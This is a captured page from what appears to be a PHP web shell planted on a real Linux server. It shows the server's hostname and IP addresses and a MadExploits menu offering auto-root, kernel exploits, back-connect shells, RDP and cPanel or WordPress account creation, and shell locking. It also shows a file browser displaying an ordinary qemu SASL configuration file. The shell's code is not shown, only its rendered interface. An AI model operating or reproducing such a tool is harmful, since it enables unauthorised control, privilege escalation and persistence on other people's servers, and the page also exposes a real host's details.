Linux server.flyproject.com.br 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Apache
: 207.244.227.86 | : 216.73.217.1
10 Domain
7.1.33
hubnog
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
etc /
sasl2 /
[ HOME SHELL ]
Name
Size
Permission
Action
libvirt.conf
1.72
KB
-rw-r--r--
qemu-kvm.conf
1.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : qemu-kvm.conf
# If you want to use the non-TLS socket, then you *must* include # the GSSAPI or DIGEST-MD5 mechanisms, because they are the only # ones that can offer session encryption as well as authentication. # # If you're only using TLS, then you can turn on any mechanisms # you like for authentication, because TLS provides the encryption # # Default to a simple username+password mechanism # NB digest-md5 is no longer considered secure by current standards mech_list: digest-md5 # Before you can use GSSAPI, you need a service principle on the # KDC server for libvirt, and that to be exported to the keytab # file listed below #mech_list: gssapi # # You can also list many mechanisms at once, then the user can choose # by adding '?auth=sasl.gssapi' to their libvirt URI, eg # qemu+tcp://hostname/system?auth=sasl.gssapi #mech_list: digest-md5 gssapi # Some older builds of MIT kerberos on Linux ignore this option & # instead need KRB5_KTNAME env var. # For modern Linux, and other OS, this should be sufficient keytab: /etc/qemu/krb5.tab # If using digest-md5 for username/passwds, then this is the file # containing the passwds. Use 'saslpasswd2 -a qemu [username]' # to add entries, and 'sasldblistusers2 -a qemu' to browse it sasldb_path: /etc/qemu/passwd.db auxprop_plugin: sasldb
Close